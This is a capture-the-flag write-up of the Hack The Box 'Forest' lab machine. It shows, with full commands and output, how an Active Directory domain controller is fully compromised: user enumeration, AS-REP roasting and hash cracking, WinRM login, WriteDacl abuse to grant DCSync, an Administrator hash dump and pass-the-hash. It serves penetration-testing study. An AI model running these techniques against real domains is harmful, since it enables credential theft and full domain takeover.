Forest Writeup

25 December 2022 #CTF #HTB #box #easy #windows

forest info

Enumeration

When you go for a walk in a forest, don't forget to take your nmap with you:

$ sudo nmap -n -Pn -F -sCV -oN enum/initial.nmap 10.10.10.161
[...]
53/tcp   open     domain       Simple DNS Plus
88/tcp   open     kerberos-sec Microsoft Windows Kerberos (server time: 2022-12-25 21:58:37Z)
135/tcp  open     msrpc        Microsoft Windows RPC
139/tcp  open     netbios-ssn  Microsoft Windows netbios-ssn
389/tcp  open     ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp  open     microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: FOREST
|   NetBIOS computer name: FOREST\x00
|   Domain name: htb.local
|   Forest name: htb.local
|   FQDN: FOREST.htb.local
|_  System time: 2022-12-25T13:58:39-08:00
|_clock-skew: mean: 2h46m48s, deviation: 4h37m09s, median: 6m47s
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2022-12-25T21:58:40
|_  start_date: 2022-12-25T21:57:39
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
[...]

We see DNS + Kerberos + LDAP open, so it's most likely an Active Directory domain controller. The domain name is htb.local and the host name of the DC is FOREST. Let's add them to our /etc/hosts file.

DNS

Always a try zone transfer when DNS is listening on a TCP port:

$ dig @10.10.10.161 axfr htb.local

; <<>> DiG 9.18.8-1-Debian <<>> @10.10.10.161 axfr htb.local
; (1 server found)
;; global options: +cmd
; Transfer failed.
$ dig @10.10.10.161 axfr FOREST.htb.local

; <<>> DiG 9.18.8-1-Debian <<>> @10.10.10.161 axfr FOREST.htb.local
; (1 server found)
;; global options: +cmd
; Transfer failed.

Better luck next time...

SMB

Let's see if we can list shares anonymously:

$ smbclient -NL 10.10.10.161      
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.161 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

Doesn't look like we can...

Next we can try to use rpcclient to get a list of users in the domain with the enumdomusers command. We have to specify the -U '' option in order to use anonymous authentication:

$ rpcclient -N -U '' 10.10.10.161 -c enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d4942840e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]

Nice, we got a bunch of usernames. The ouput is a bit ugly and we just want usernames so we'll use this (even uglier) command to get a nice and clean user list:

$ rpcclient -U '' -N 10.10.10.161 -c enumdomusers | grep -oP '\[.*?\]' | grep -v '^\[0x' | tr -d '[]' > users.txt

Foothold

Now that we have a list of valid usernames on the domain, one thing we could try is looking for users with Kerberos Preauth disabled. If it is, we can request a TGT for that user without their password. The TGT is encrypted with the NTLM hash of the password for that user account, meaning we can grab it and crack it offline with hashchat or john.

We'll use the GetNPUsers script from impacket to do that:

$ impacket-GetNPUsers -usersfile users.txt htb.local/
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[...]
$krb5asrep$23$svc-alfresco@HTB.LOCAL:a06646cad179814f7c285fc1b1bab00e$b7870b2cbe5fb61b330aba34952fe4ce99d5dc0f79e0caf1e856fc6467d9e94a0943d31d3e080fa2cbe89a97040a0d7c06afb2782e79e5aaa0416b287803171ff74b8118e070a0f8a144a807ebcac0c4ecc2d1da5402705211963e5798cc1987d00ad5536c426c1103dbf902b544479758c8d4c5cdce7bd30dca28e6b499c43feab1406870b70a882158bd82a0efe2b0b1219574b38388961bca2aa2c22d490389900bb4f0095dc54b6d7900e798fef11d3ef0e01c5c80ec12216b4791ce9abc42d1a1add7980f9ddffb7f399a3056859997104d55a90a77553ef0989fbd560dbfae09a43d03
[...]

We got one hit with the 'svc-alfresco' user!

Copy the hash to a file and throw it to hashcat:

$ hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt
[...]
$krb5asrep$23$svc-alfresco@HTB.LOCAL:[...]:s3rvice
[...]

And boom, we have the password for that account!

With a username and password we could try to winRM into the box (nmap didn't try port 5985 because it isn't in the top 100):

$ crackmapexec winrm 10.10.10.161 -u svc-alfresco -p s3rvice
SMB         10.10.10.161    5985   FOREST           [*] Windows 10.0 Build 14393 (name:FOREST) (domain:htb.local)
HTTP        10.10.10.161    5985   FOREST           [*] http://10.10.10.161:5985/wsman
WINRM       10.10.10.161    5985   FOREST           [+] htb.local\svc-alfresco:s3rvice (Pwn3d!)

Great, we can log in to the DC with evil-winrm:

$ evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice
[...]
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents>

Privesc

Bloodhound

With a valid domain account, the first thing we should be doing is using Bloodhound to map out the domain and get an overview of the possible misconfigurations.

The first step is to run an ingestor to gather all the data we will then feed to Bloodhound. We'll use rusthound:

$ mkdir bloodhound
$ rusthound -d htb.local -u svc-alfresco -p s3rvice -o bloodhound
[...]

Now, just drag and drop all json files from the bloodhound directory directly into the Bloodhound window. We can then search for 'svc-alfresco' and mark this user as owned:

mark as owned

Now we can go to Analysis -> Shortest Paths -> Shortest Paths to Domain Admins from Owned Principals:

shortest path to domain admins from owned principals

We see that our user is a member of the domain group 'Service Accounts' which is itself a member of the 'Privileged IT Accounts' group which is itself a member of the 'Account Operators' group (phew).

'Account Operators' has full control over the 'Exchange Windows Permissions' group, meaning we can just create a user and add it to this group (or add ourselves to the group).

'Exchange Windows Permissions' has the 'WriteDacl' privilege on the domain. We can abuse this by giving our user the right to do a DCSync and get the NTLM hash of all accounts on the domain.

Add user to group

We'll use the built-in net command to do this:

*Evil-WinRM* PS C:\Users\svc-alfresco> net group 'Exchange Windows Permissions' svc-alfresco /add /domain
The command completed successfully.

*Evil-WinRM* PS C:\Users\svc-alfresco> net user svc-alfresco
[...]
Global Group memberships     *Exchange Windows Perm*Domain Users

Note that there is a cleanup script that will reset group memberships every minute or so.

Grant DCSync Privilege

Right click on the 'WriteDacl' link to get some info on how to exploit it:

abuse info

Add-DomainObjectAcl is a cmdlet from the PowerView collection, so we'll need to get it on the remote box.

We can use the upload feature of evil-winrm to transfer it to the target:

*Evil-WinRM* PS C:\Users\svc-alfresco> upload /opt/PowerView.ps1 ./pv.ps1
[...]
*Evil-WinRM* PS C:\Users\svc-alfresco> import-module ./pv.ps1

Before using Add-ObjectACL (more friendly version of Add-DomainObjectAcl), we need a credential object:

*Evil-WinRM* PS C:\Users\svc-alfresco> $pw = ConvertTo-SecureString 's3rvice' -AsPlainText -Force
*Evil-WinRM* PS C:\Users\svc-alfresco> $cred = New-Object System.Management.Automation.PSCredential('htb.local\svc-alfresco', $pw)

Now let's give ourselves the privilege to do a DCSync (because why not):

*Evil-WinRM* PS C:\Users\svc-alfresco> Add-ObjectACL -PrincipalIdentity svc-alfresco -Credential $cred -Rights DCSync

Perform DCSync attack

We could use mimikatz but the secretsdump script from impacket allows us to do this remotely:

$ impacket-secretsdump htb.local/svc-alfresco:s3rvice@10.10.10.161
[...]
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
[...]

Pass the Hash as Administrator

With the administrator's NTLM hash in our hands, we can pass it to psexec or wmiexec:

$ impacket-wmiexec htb.local/administrator@10.10.10.161 -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
htb\administrator

Key Takeaways